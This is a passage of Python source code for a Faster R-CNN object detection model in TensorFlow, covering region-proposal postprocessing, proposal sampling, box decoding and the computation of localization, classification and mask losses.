tf.expand_dims(anchors, 0), [rpn_encodings_shape[0], 1, 1]) proposal_boxes = self._batch_decode_boxes(rpn_box_encodings_batch, tiled_anchor_boxes) raw_proposal_boxes = tf.squeeze(proposal_boxes, axis=2) rpn_objectness_softmax = tf.nn.softmax( rpn_objectness_predictions_with_background_batch) rpn_objectness_softmax_without_background = rpn_objectness_softmax[:, :, 1] clip_window = self._compute_clip_window(image_shapes) additional_fields = {'multiclass_scores': rpn_objectness_softmax} (proposal_boxes, proposal_scores, _, _, nmsed_additional_fields, num_proposals) = self._first_stage_nms_fn( tf.expand_dims(raw_proposal_boxes, axis=2), tf.expand_dims(rpn_objectness_softmax_without_background, axis=2), additional_fields=additional_fields, clip_window=clip_window) if self._is_training: proposal_boxes = tf.stop_gradient(proposal_boxes) if not self._hard_example_miner: (groundtruth_boxlists, groundtruth_classes_with_background_list, _, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) (proposal_boxes, proposal_scores, num_proposals) = self._sample_box_classifier_batch( proposal_boxes, proposal_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list) # normalize proposal boxes def normalize_boxes(args): proposal_boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_normalized_coordinates( box_list.BoxList(proposal_boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() return normalized_boxes_per_image normalized_proposal_boxes = shape_utils.static_or_dynamic_map_fn( normalize_boxes, elems=[proposal_boxes, image_shapes], dtype=tf.float32) raw_normalized_proposal_boxes = shape_utils.static_or_dynamic_map_fn( normalize_boxes, elems=[raw_proposal_boxes, image_shapes], dtype=tf.float32) proposal_multiclass_scores = nmsed_additional_fields['multiclass_scores'] return (normalized_proposal_boxes, proposal_scores, proposal_multiclass_scores, num_proposals, raw_normalized_proposal_boxes, rpn_objectness_softmax) def _sample_box_classifier_batch( self, proposal_boxes, proposal_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): """Samples a minibatch for second stage. Args: proposal_boxes: A float tensor with shape [batch_size, num_proposals, 4] representing the (potentially zero padded) proposal boxes for all images in the batch. These boxes are represented in absolute coordinates. proposal_scores: A float tensor with shape [batch_size, num_proposals] representing the (potentially zero padded) proposal objectness scores for all images in the batch. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. groundtruth_boxlists: A list of BoxLists containing (absolute) coordinates of the groundtruth boxes. groundtruth_classes_with_background_list: A list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes+1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_weights_list: A list of 1-D tensors of shape [num_boxes] indicating the weight associated with the groundtruth boxes. Returns: proposal_boxes: A float tensor with shape [batch_size, second_stage_batch_size, 4] representing the (potentially zero padded) proposal boxes for all images in the batch. These boxes are represented in absolute coordinates. proposal_scores: A float tensor with shape [batch_size, second_stage_batch_size] representing the (potentially zero padded) proposal objectness scores for all images in the batch. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. """ single_image_proposal_box_sample = [] single_image_proposal_score_sample = [] single_image_num_proposals_sample = [] for (single_image_proposal_boxes, single_image_proposal_scores, single_image_num_proposals, single_image_groundtruth_boxlist, single_image_groundtruth_classes_with_background, single_image_groundtruth_weights) in zip( tf.unstack(proposal_boxes), tf.unstack(proposal_scores), tf.unstack(num_proposals), groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): single_image_boxlist = box_list.BoxList(single_image_proposal_boxes) single_image_boxlist.add_field(fields.BoxListFields.scores, single_image_proposal_scores) sampled_boxlist = self._sample_box_classifier_minibatch_single_image( single_image_boxlist, single_image_num_proposals, single_image_groundtruth_boxlist, single_image_groundtruth_classes_with_background, single_image_groundtruth_weights) sampled_padded_boxlist = box_list_ops.pad_or_clip_box_list( sampled_boxlist, num_boxes=self._second_stage_batch_size) single_image_num_proposals_sample.append(tf.minimum( sampled_boxlist.num_boxes(), self._second_stage_batch_size)) bb = sampled_padded_boxlist.get() single_image_proposal_box_sample.append(bb) single_image_proposal_score_sample.append( sampled_padded_boxlist.get_field(fields.BoxListFields.scores)) return (tf.stack(single_image_proposal_box_sample), tf.stack(single_image_proposal_score_sample), tf.stack(single_image_num_proposals_sample)) def _format_groundtruth_data(self, true_image_shapes): """Helper function for preparing groundtruth data for target assignment. In order to be consistent with the model.DetectionModel interface, groundtruth boxes are specified in normalized coordinates and classes are specified as label indices with no assumed background category. To prepare for target assignment, we: 1) convert boxes to absolute coordinates, 2) add a background class at class index 0 3) groundtruth instance masks, if available, are resized to match image_shape. Args: true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: groundtruth_boxlists: A list of BoxLists containing (absolute) coordinates of the groundtruth boxes. groundtruth_classes_with_background_list: A list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes+1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_masks_list: If present, a list of 3-D tf.float32 tensors of shape [num_boxes, image_height, image_width] containing instance masks. This is set to None if no masks exist in the provided groundtruth. """ groundtruth_boxlists = [ box_list_ops.to_absolute_coordinates( box_list.BoxList(boxes), true_image_shapes[i, 0], true_image_shapes[i, 1]) for i, boxes in enumerate( self.groundtruth_lists(fields.BoxListFields.boxes)) ] groundtruth_classes_with_background_list = [] for one_hot_encoding in self.groundtruth_lists( fields.BoxListFields.classes): groundtruth_classes_with_background_list.append( tf.cast( tf.pad(one_hot_encoding, [[0, 0], [1, 0]], mode='CONSTANT'), dtype=tf.float32)) groundtruth_masks_list = self._groundtruth_lists.get( fields.BoxListFields.masks) # TODO(rathodv): Remove mask resizing once the legacy pipeline is deleted. if groundtruth_masks_list is not None and self._resize_masks: resized_masks_list = [] for mask in groundtruth_masks_list: _, resized_mask, _ = self._image_resizer_fn( # Reuse the given `image_resizer_fn` to resize groundtruth masks. # `mask` tensor for an image is of the shape [num_masks, # image_height, image_width]. Below we create a dummy image of the # the shape [image_height, image_width, 1] to use with # `image_resizer_fn`. image=tf.zeros(tf.stack([tf.shape(mask)[1], tf.shape(mask)[2], 1])), masks=mask) resized_masks_list.append(resized_mask) groundtruth_masks_list = resized_masks_list # Masks could be set to bfloat16 in the input pipeline for performance # reasons. Convert masks back to floating point space here since the rest of # this module assumes groundtruth to be of float32 type. float_groundtruth_masks_list = [] if groundtruth_masks_list: for mask in groundtruth_masks_list: float_groundtruth_masks_list.append(tf.cast(mask, tf.float32)) groundtruth_masks_list = float_groundtruth_masks_list if self.groundtruth_has_field(fields.BoxListFields.weights): groundtruth_weights_list = self.groundtruth_lists( fields.BoxListFields.weights) else: # Set weights for all batch elements equally to 1.0 groundtruth_weights_list = [] for groundtruth_classes in groundtruth_classes_with_background_list: num_gt = tf.shape(groundtruth_classes)[0] groundtruth_weights = tf.ones(num_gt) groundtruth_weights_list.append(groundtruth_weights) return (groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_masks_list, groundtruth_weights_list) def _sample_box_classifier_minibatch_single_image( self, proposal_boxlist, num_valid_proposals, groundtruth_boxlist, groundtruth_classes_with_background, groundtruth_weights): """Samples a mini-batch of proposals to be sent to the box classifier. Helper function for self._postprocess_rpn. Args: proposal_boxlist: A BoxList containing K proposal boxes in absolute coordinates. num_valid_proposals: Number of valid proposals in the proposal boxlist. groundtruth_boxlist: A Boxlist containing N groundtruth object boxes in absolute coordinates. groundtruth_classes_with_background: A tensor with shape `[N, self.num_classes + 1]` representing groundtruth classes. The classes are assumed to be k-hot encoded, and include background as the zero-th class. groundtruth_weights: Weights attached to the groundtruth_boxes. Returns: a BoxList contained sampled proposals. """ (cls_targets, cls_weights, _, _, _) = self._detector_target_assigner.assign( proposal_boxlist, groundtruth_boxlist, groundtruth_classes_with_background, unmatched_class_label=tf.constant( [1] + self._num_classes * [0], dtype=tf.float32), groundtruth_weights=groundtruth_weights) # Selects all boxes as candidates if none of them is selected according # to cls_weights. This could happen as boxes within certain IOU ranges # are ignored. If triggered, the selected boxes will still be ignored # during loss computation. cls_weights = tf.reduce_mean(cls_weights, axis=-1) positive_indicator = tf.greater(tf.argmax(cls_targets, axis=1), 0) valid_indicator = tf.logical_and( tf.range(proposal_boxlist.num_boxes()) < num_valid_proposals, cls_weights > 0 ) selected_positions = self._second_stage_sampler.subsample( valid_indicator, self._second_stage_batch_size, positive_indicator) return box_list_ops.boolean_mask( proposal_boxlist, selected_positions, use_static_shapes=self._use_static_shapes, indicator_sum=(self._second_stage_batch_size if self._use_static_shapes else None)) def _compute_second_stage_input_feature_maps(self, features_to_crop, proposal_boxes_normalized): """Crops to a set of proposals from the feature map for a batch of images. Helper function for self._postprocess_rpn. This function calls `tf.image.crop_and_resize` to create the feature map to be passed to the second stage box classifier for each proposal. Args: features_to_crop: A float32 tensor with shape [batch_size, height, width, depth] proposal_boxes_normalized: A float32 tensor with shape [batch_size, num_proposals, box_code_size] containing proposal boxes in normalized coordinates. Returns: A float32 tensor with shape [K, new_height, new_width, depth]. """ cropped_regions = self._flatten_first_two_dimensions( self._crop_and_resize_fn( features_to_crop, proposal_boxes_normalized, [self._initial_crop_size, self._initial_crop_size])) return self._maxpool_layer(cropped_regions) def _postprocess_box_classifier(self, refined_box_encodings, class_predictions_with_background, proposal_boxes, num_proposals, image_shapes, mask_predictions=None): """Converts predictions from the second stage box classifier to detections. Args: refined_box_encodings: a 3-D float tensor with shape [total_num_padded_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings. If using a shared box across classes the shape will instead be [total_num_padded_proposals, 1, 4] class_predictions_with_background: a 2-D tensor float with shape [total_num_padded_proposals, num_classes + 1] containing class predictions (logits) for each of the proposals. Note that this tensor *includes* background class predictions (at class index 0). proposal_boxes: a 3-D float tensor with shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. num_proposals: a 1-D int32 tensor of shape [batch] representing the number of proposals predicted for each image in the batch. image_shapes: a 2-D int32 tensor containing shapes of input image in the batch. mask_predictions: (optional) a 4-D float tensor with shape [total_num_padded_proposals, num_classes, mask_height, mask_width] containing instance mask prediction logits. Returns: A dictionary containing: `detection_boxes`: [batch, max_detection, 4] in normalized co-ordinates. `detection_scores`: [batch, max_detections] detection_multiclass_scores: [batch, max_detections, num_classes_with_background] tensor with class score distribution for post-processed detection boxes including background class if any. `detection_classes`: [batch, max_detections] `num_detections`: [batch] `detection_masks`: (optional) [batch, max_detections, mask_height, mask_width]. Note that a pixel-wise sigmoid score converter is applied to the detection masks. `raw_detection_boxes`: [batch, total_detections, 4] tensor with decoded detection boxes before Non-Max Suppression. `raw_detection_scores`: [batch, total_detections, num_classes_with_background] tensor of multi-class scores for raw detection boxes. """ refined_box_encodings_batch = tf.reshape( refined_box_encodings, [-1, self.max_num_proposals, refined_box_encodings.shape[1], self._box_coder.code_size]) class_predictions_with_background_batch = tf.reshape( class_predictions_with_background, [-1, self.max_num_proposals, self.num_classes + 1] ) refined_decoded_boxes_batch = self._batch_decode_boxes( refined_box_encodings_batch, proposal_boxes) class_predictions_with_background_batch_normalized = ( self._second_stage_score_conversion_fn( class_predictions_with_background_batch)) class_predictions_batch = tf.reshape( tf.slice(class_predictions_with_background_batch_normalized, [0, 0, 1], [-1, -1, -1]), [-1, self.max_num_proposals, self.num_classes]) clip_window = self._compute_clip_window(image_shapes) mask_predictions_batch = None if mask_predictions is not None: mask_height = shape_utils.get_dim_as_int(mask_predictions.shape[2]) mask_width = shape_utils.get_dim_as_int(mask_predictions.shape[3]) mask_predictions = tf.sigmoid(mask_predictions) mask_predictions_batch = tf.reshape( mask_predictions, [-1, self.max_num_proposals, self.num_classes, mask_height, mask_width]) additional_fields = { 'multiclass_scores': class_predictions_with_background_batch_normalized } (nmsed_boxes, nmsed_scores, nmsed_classes, nmsed_masks, nmsed_additional_fields, num_detections) = self._second_stage_nms_fn( refined_decoded_boxes_batch, class_predictions_batch, clip_window=clip_window, change_coordinate_frame=True, num_valid_boxes=num_proposals, additional_fields=additional_fields, masks=mask_predictions_batch) if refined_decoded_boxes_batch.shape[2] > 1: class_ids = tf.expand_dims( tf.argmax(class_predictions_with_background_batch[:, :, 1:], axis=2, output_type=tf.int32), axis=-1) raw_detection_boxes = tf.squeeze( tf.batch_gather(refined_decoded_boxes_batch, class_ids), axis=2) else: raw_detection_boxes = tf.squeeze(refined_decoded_boxes_batch, axis=2) def normalize_and_clip_boxes(args): """Normalize and clip boxes.""" boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_normalized_coordinates( box_list.BoxList(boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() normalized_boxes_per_image = box_list_ops.clip_to_window( box_list.BoxList(normalized_boxes_per_image), tf.constant([0.0, 0.0, 1.0, 1.0], tf.float32), filter_nonoverlapping=False).get() return normalized_boxes_per_image raw_normalized_detection_boxes = shape_utils.static_or_dynamic_map_fn( normalize_and_clip_boxes, elems=[raw_detection_boxes, image_shapes], dtype=tf.float32) detections = { fields.DetectionResultFields.detection_boxes: nmsed_boxes, fields.DetectionResultFields.detection_scores: nmsed_scores, fields.DetectionResultFields.detection_classes: nmsed_classes, fields.DetectionResultFields.detection_multiclass_scores: nmsed_additional_fields['multiclass_scores'], fields.DetectionResultFields.num_detections: tf.cast(num_detections, dtype=tf.float32), fields.DetectionResultFields.raw_detection_boxes: raw_normalized_detection_boxes, fields.DetectionResultFields.raw_detection_scores: class_predictions_with_background_batch_normalized } if nmsed_masks is not None: detections[fields.DetectionResultFields.detection_masks] = nmsed_masks return detections def _batch_decode_boxes(self, box_encodings, anchor_boxes): """Decodes box encodings with respect to the anchor boxes. Args: box_encodings: a 4-D tensor with shape [batch_size, num_anchors, num_classes, self._box_coder.code_size] representing box encodings. anchor_boxes: [batch_size, num_anchors, self._box_coder.code_size] representing decoded bounding boxes. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. Returns: decoded_boxes: a [batch_size, num_anchors, num_classes, self._box_coder.code_size] float tensor representing bounding box predictions (for each image in batch, proposal and class). If using a shared box across classes the shape will instead be [batch_size, num_anchors, 1, self._box_coder.code_size]. """ combined_shape = shape_utils.combined_static_and_dynamic_shape( box_encodings) num_classes = combined_shape[2] tiled_anchor_boxes = tf.tile( tf.expand_dims(anchor_boxes, 2), [1, 1, num_classes, 1]) tiled_anchors_boxlist = box_list.BoxList( tf.reshape(tiled_anchor_boxes, [-1, 4])) decoded_boxes = self._box_coder.decode( tf.reshape(box_encodings, [-1, self._box_coder.code_size]), tiled_anchors_boxlist) return tf.reshape(decoded_boxes.get(), tf.stack([combined_shape[0], combined_shape[1], num_classes, 4])) def loss(self, prediction_dict, true_image_shapes, scope=None): """Compute scalar loss tensors given prediction tensors. If number_of_stages=1, only RPN related losses are computed (i.e., `rpn_localization_loss` and `rpn_objectness_loss`). Otherwise all losses are computed. Args: prediction_dict: a dictionary holding prediction tensors (see the documentation for the predict method. If number_of_stages=1, we expect prediction_dict to contain `rpn_box_encodings`, `rpn_objectness_predictions_with_background`, `rpn_features_to_crop`, `image_shape`, and `anchors` fields. Otherwise we expect prediction_dict to additionally contain `refined_box_encodings`, `class_predictions_with_background`, `num_proposals`, and `proposal_boxes` fields. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. scope: Optional scope name. Returns: a dictionary mapping loss keys (`first_stage_localization_loss`, `first_stage_objectness_loss`, 'second_stage_localization_loss', 'second_stage_classification_loss') to scalar tensors representing corresponding loss values. """ with tf.name_scope(scope, 'Loss', prediction_dict.values()): (groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_masks_list, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) loss_dict = self._loss_rpn( prediction_dict['rpn_box_encodings'], prediction_dict['rpn_objectness_predictions_with_background'], prediction_dict['anchors'], groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list) if self._number_of_stages > 1: loss_dict.update( self._loss_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, prediction_dict['image_shape'], prediction_dict.get('mask_predictions'), groundtruth_masks_list, prediction_dict.get( fields.DetectionResultFields.detection_boxes), prediction_dict.get( fields.DetectionResultFields.num_detections))) return loss_dict def _loss_rpn(self, rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): """Computes scalar RPN loss tensors. Uses self._proposal_target_assigner to obtain regression and classification targets for the first stage RPN, samples a "minibatch" of anchors to participate in the loss computation, and returns the RPN losses. Args: rpn_box_encodings: A 4-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted proposal box encodings. rpn_objectness_predictions_with_background: A 2-D float tensor of shape [batch_size, num_anchors, 2] containing objectness predictions (logits) for each of the anchors with 0 corresponding to background and 1 corresponding to object. anchors: A 2-D tensor of shape [num_anchors, 4] representing anchors for the first stage RPN. Note that `num_anchors` can differ depending on whether the model is created in training or inference mode. groundtruth_boxlists: A list of BoxLists containing coordinates of the groundtruth boxes. groundtruth_classes_with_background_list: A list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes+1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_weights_list: A list of 1-D tf.float32 tensors of shape [num_boxes] containing weights for groundtruth boxes. Returns: a dictionary mapping loss keys (`first_stage_localization_loss`, `first_stage_objectness_loss`) to scalar tensors representing corresponding loss values. """ with tf.name_scope('RPNLoss'): (batch_cls_targets, batch_cls_weights, batch_reg_targets, batch_reg_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._proposal_target_assigner, anchors_batch=box_list.BoxList(anchors), gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=(len(groundtruth_boxlists) * [None]), gt_weights_batch=groundtruth_weights_list) batch_cls_weights = tf.reduce_mean(batch_cls_weights, axis=2) batch_cls_targets = tf.squeeze(batch_cls_targets, axis=2) def _minibatch_subsample_fn(inputs): cls_targets, cls_weights = inputs return self._first_stage_sampler.subsample( tf.cast(cls_weights, tf.bool), self._first_stage_minibatch_size, tf.cast(cls_targets, tf.bool)) batch_sampled_indices = tf.cast(shape_utils.static_or_dynamic_map_fn( _minibatch_subsample_fn, [batch_cls_targets, batch_cls_weights], dtype=tf.bool, parallel_iterations=self._parallel_iterations, back_prop=True), dtype=tf.float32) # Normalize by number of examples in sampled minibatch normalizer = tf.maximum( tf.reduce_sum(batch_sampled_indices, axis=1), 1.0) batch_one_hot_targets = tf.one_hot( tf.cast(batch_cls_targets, dtype=tf.int32), depth=2) sampled_reg_indices = tf.multiply(batch_sampled_indices, batch_reg_weights) losses_mask = None if self.groundtruth_has_field(fields.InputDataFields.is_annotated): losses_mask = tf.stack(self.groundtruth_lists( fields.InputDataFields.is_annotated)) localization_losses = self._first_stage_localization_loss( rpn_box_encodings, batch_reg_targets, weights=sampled_reg_indices, losses_mask=losses_mask) objectness_losses = self._first_stage_objectness_loss( rpn_objectness_predictions_with_background, batch_one_hot_targets, weights=tf.expand_dims(batch_sampled_indices, axis=-1), losses_mask=losses_mask) localization_loss = tf.reduce_mean( tf.reduce_sum(localization_losses, axis=1) / normalizer) objectness_loss = tf.reduce_mean( tf.reduce_sum(objectness_losses, axis=1) / normalizer) localization_loss = tf.multiply(self._first_stage_loc_loss_weight, localization_loss, name='localization_loss') objectness_loss = tf.multiply(self._first_stage_obj_loss_weight, objectness_loss, name='objectness_loss') loss_dict = {'Loss/RPNLoss/localization_loss': localization_loss, 'Loss/RPNLoss/objectness_loss': objectness_loss} return loss_dict def _loss_box_classifier(self, refined_box_encodings, class_predictions_with_background, proposal_boxes, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, image_shape, prediction_masks=None, groundtruth_masks_list=None, detection_boxes=None, num_detections=None): """Computes scalar box classifier loss tensors. Uses self._detector_target_assigner to obtain regression and classification targets for the second stage box classifier, optionally performs hard mining, and returns losses. All losses are computed independently for each image and then averaged across the batch. Please note that for boxes and masks with multiple labels, the box regression and mask prediction losses are only computed for one label. This function assumes that the proposal boxes in the "padded" regions are actually zero (and thus should not be matched to). Args: refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, box_coder.code_size] representing predicted (final) refined box encodings. If using a shared box across classes this will instead have shape [total_num_proposals, 1, box_coder.code_size]. class_predictions_with_background: a 2-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). proposal_boxes: [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. groundtruth_boxlists: a list of BoxLists containing coordinates of the groundtruth boxes. groundtruth_classes_with_background_list: a list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes + 1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_weights_list: A list of 1-D tf.float32 tensors of shape [num_boxes] containing weights for groundtruth boxes. image_shape: a 1-D tensor of shape [4] representing the image shape. prediction_masks: an optional 4-D tensor with shape [total_num_proposals, num_classes, mask_height, mask_width] containing the instance masks for each box. groundtruth_masks_list: an optional list of 3-D tensors of shape [num_boxes, image_height, image_width] containing the instance masks for each of the boxes. detection_boxes: 3-D float tensor of shape [batch, max_total_detections, 4] containing post-processed detection boxes in normalized co-ordinates. num_detections: 1-D int32 tensor of shape [batch] containing number of valid detections in `detection_boxes`. Returns: a dictionary mapping loss keys ('second_stage_localization_loss', 'second_stage_classification_loss') to scalar tensors representing corresponding loss values. Raises: ValueError: if `predict_instance_masks` in second_stage_mask_rcnn_box_predictor is True and `groundtruth_masks_list` is not provided. """ with tf.name_scope('BoxClassifierLoss'): paddings_indicator = self._padded_batched_proposals_indicator( num_proposals, proposal_boxes.shape[1]) proposal_boxlists = [ box_list.BoxList(proposal_boxes_single_image) for proposal_boxes_single_image in tf.unstack(proposal_boxes)] batch_size = len(proposal_boxlists) num_proposals_or_one = tf.cast(tf.expand_dims( tf.maximum(num_proposals, tf.ones_like(num_proposals)), 1), dtype=tf.float32) normalizer = tf.tile(num_proposals_or_one, [1, self.max_num_proposals]) * batch_size (batch_cls_targets_with_background, batch_cls_weights, batch_reg_targets, batch_reg_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._detector_target_assigner, anchors_batch=proposal_boxlists, gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=groundtruth_classes_with_background_list, unmatched_class_label=tf.constant( [1] + self._num_classes * [0], dtype=tf.float32), gt_weights_batch=groundtruth_weights_list) class_predictions_with_background = tf.reshape( class_predictions_with_background, [batch_size, self.max_num_proposals, -1]) flat_cls_targets_with_background = tf.reshape( batch_cls_targets_with_background, [batch_size * self.max_num_proposals, -1]) one_hot_flat_cls_targets_with_background = tf.argmax( flat_cls_targets_with_background, axis=1) one_hot_flat_cls_targets_with_background = tf.one_hot( one_hot_flat_cls_targets_with_background, flat_cls_targets_with_background.get_shape()[1]) # If using a shared box across classes use directly if refined_box_encodings.shape[1] == 1: reshaped_refined_box_encodings = tf.reshape( refined_box_encodings, [batch_size, self.max_num_proposals, self._box_coder.code_size]) # For anchors with multiple labels, picks refined_location_encodings # for just one class to avoid over-counting for regression loss and # (optionally) mask loss. else: reshaped_refined_box_encodings = ( self._get_refined_encodings_for_postitive_class( refined_box_encodings, one_hot_flat_cls_targets_with_background, batch_size)) losses_mask = None if self.groundtruth_has_field(fields.InputDataFields.is_annotated): losses_mask = tf.stack(self.groundtruth_lists( fields.InputDataFields.is_annotated)) second_stage_loc_losses = self._second_stage_localization_loss( reshaped_refined_box_encodings, batch_reg_targets, weights=batch_reg_weights, losses_mask=losses_mask) / normalizer second_stage_cls_losses = ops.reduce_sum_trailing_dimensions( self._second_stage_classification_loss( class_predictions_with_background, batch_cls_targets_with_background, weights=batch_cls_weights, losses_mask=losses_mask), ndims=2) / normalizer second_stage_loc_loss = tf.reduce_sum( second_stage_loc_losses * tf.cast(paddings_indicator, dtype=tf.float32)) second_stage_cls_loss = tf.reduce_sum( second_stage_cls_losses * tf.cast(paddings_indicator, dtype=tf.float32)) if self._hard_example_miner: (second_stage_loc_loss, second_stage_cls_loss ) = self._unpad_proposals_and_apply_hard_mining( proposal_boxlists, second_stage_loc_losses, second_stage_cls_losses, num_proposals) localization_loss = tf.multiply(self._second_stage_loc_loss_weight, second_stage_loc_loss, name='localization_loss') classification_loss = tf.multiply(self._second_stage_cls_loss_weight, second_stage_cls_loss, name='classification_loss') loss_dict = {'Loss/BoxClassifierLoss/localization_loss': localization_loss, 'Loss/BoxClassifierLoss/classification_loss': classification_loss} second_stage_mask_loss = None if prediction_masks is not None: if groundtruth_masks_list is None: raise ValueError('Groundtruth instance masks not provided. ' 'Please configure input reader.') if not self._is_training: (proposal_boxes, proposal_boxlists, paddings_indicator, one_hot_flat_cls_targets_with_background ) = self._get_mask_proposal_boxes_and_classes( detection_boxes, num_detections, image_shape, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list) unmatched_mask_label = tf.zeros(image_shape[1:3], dtype=tf.float32) (batch_mask_targets, _, _, batch_mask_target_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._detector_target_assigner, anchors_batch=proposal_boxlists, gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=groundtruth_masks_list, unmatched_class_label=unmatched_mask_label, gt_weights_batch=groundtruth_weights_list) # Pad the prediction_masks with to add zeros for background class to be # consistent with class predictions. if prediction_masks.get_shape().as_list()[1] == 1: # Class agnostic masks or masks for one-class prediction. Logic for # both cases is the same since background predictions are ignored # through the batch_mask_target_weights. prediction_masks_masked_by_class_targets = prediction_masks else: prediction_masks_with_background = tf.pad( prediction_masks, [[0, 0], [1, 0], [0, 0], [0, 0]]) prediction_masks_masked_by_class_targets = tf.boolean_mask( prediction_masks_with_background, tf.greater(one_hot_flat_cls_targets_with_background, 0)) mask_height = shape_utils.get_dim_as_int(prediction_masks.shape[2]) mask_width = shape_utils.get_dim_as_int(prediction_masks.shape[3]) reshaped_prediction_masks = tf.reshape( prediction_masks_masked_by_class_targets, [batch_size, -1, mask_height * mask_width]) batch_mask_targets_shape = tf.shape(batch_mask_targets) flat_gt_masks = tf.reshape(batch_mask_targets, [-1, batch_mask_targets_shape[2], batch_mask_targets_shape[3]]) # Use normalized proposals to crop mask targets from image masks. flat_normalized_proposals = box_list_ops.to_normalized_coordinates( box_list.BoxList(tf.reshape(proposal_boxes, [-1, 4])), image_shape[1], image_shape[2], check_range=False).get() flat_cropped_gt_mask = self._crop_and_resize_fn( tf.expand_dims(flat_gt_masks, -1), tf.expand_dims(flat_normalized_proposals, axis=1), [mask_height, mask_width]) # Without stopping gradients into cropped groundtruth masks the # performance with 100-padded groundtruth masks when batch size > 1 is # about 4% worse. # TODO(rathodv): Investigate this since we don't expect any variables # upstream of flat_cropped_gt_mask. flat_cropped_gt_mask = tf.stop_gradient(flat_cropped_gt_mask) batch_cropped_gt_mask = tf.reshape( flat_cropped_gt_mask, [batch_size, -1, mask_height * mask_width]) mask_losses_weights = ( batch_mask_target_weights * tf.cast(paddings_indicator, dtype=tf.float32)) mask_losses = self._second_stage_mask_loss( reshaped_prediction_masks, batch_cropped_gt_mask, weights=tf.expand_dims(mask_losses_weights, axis=-1), losses_mask=losses_mask) total_mask_loss = tf.reduce_sum(mask_losses) normalizer = tf.maximum( tf.reduce_sum(mask_losses_weights * mask_height * mask_width), 1.0) second_stage_mask_loss = total_mask_loss / normalizer if second_stage_mask_loss is not None: mask_loss = tf.multiply(self._second_stage_mask_loss_weight, second_stage_mask_loss, name='mask_loss') loss_dict[mask_loss.op.name] = mask_loss return loss_dict def _get_mask_proposal_boxes_and_classes( self, detection_boxes, num_detections, image_shape, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): """Returns proposal boxes and class targets to compute evaluation mask loss. During evaluation, detection boxes are used to extract features for mask prediction. Therefore, to compute mask loss during evaluation detection boxes must be used to compute correct class and mask targets. This function returns boxes and classes in the correct format for computing mask targets during evaluation. Args: detection_boxes: A 3-D float tensor of shape [batch, max_detection_boxes, 4] containing detection boxes in normalized co-ordinates. num_detections: A 1-D float tensor of shape [batch] containing number of valid boxes in `detection_boxes`. image_shape: A 1-D tensor of shape [4] containing image tensor shape. groundtruth_boxlists: A list of groundtruth boxlists. groundtruth_classes_with_background_list: A list of groundtruth classes. groundtruth_weights_list: A list of groundtruth weights. Return: mask_proposal_boxes: detection boxes to use for mask proposals in absolute co-ordinates. mask_proposal_boxlists: `mask_proposal_boxes` in a list of BoxLists in absolute co-ordinates. mask_proposal_paddings_indicator: a tensor indicating valid boxes. mask_proposal_one_hot_flat_cls_targets_with_background: Class targets computed using detection boxes. """ batch, max_num_detections, _ = detection_boxes.shape.as_list() proposal_boxes = tf.reshape(box_list_ops.to_absolute_coordinates( box_list.BoxList(tf.reshape(detection_boxes, [-1, 4])), image_shape[1], image_shape[2]).get(), [batch, max_num_detections, 4]) proposal_boxlists = [ box_list.BoxList(detection_boxes_single_image) for detection_boxes_single_image in tf.unstack(proposal_boxes) ] paddings_indicator = self._padded_batched_proposals_indicator( tf.cast(num_detections, dtype=tf.int32), detection_boxes.shape[1]) (batch_cls_targets_with_background, _, _, _, _) = target_assigner.batch_assign_targets( target_assigner=self._detector_target_assigner, anchors_batch=proposal_boxlists, gt_box_batch=groundtruth_boxlists, 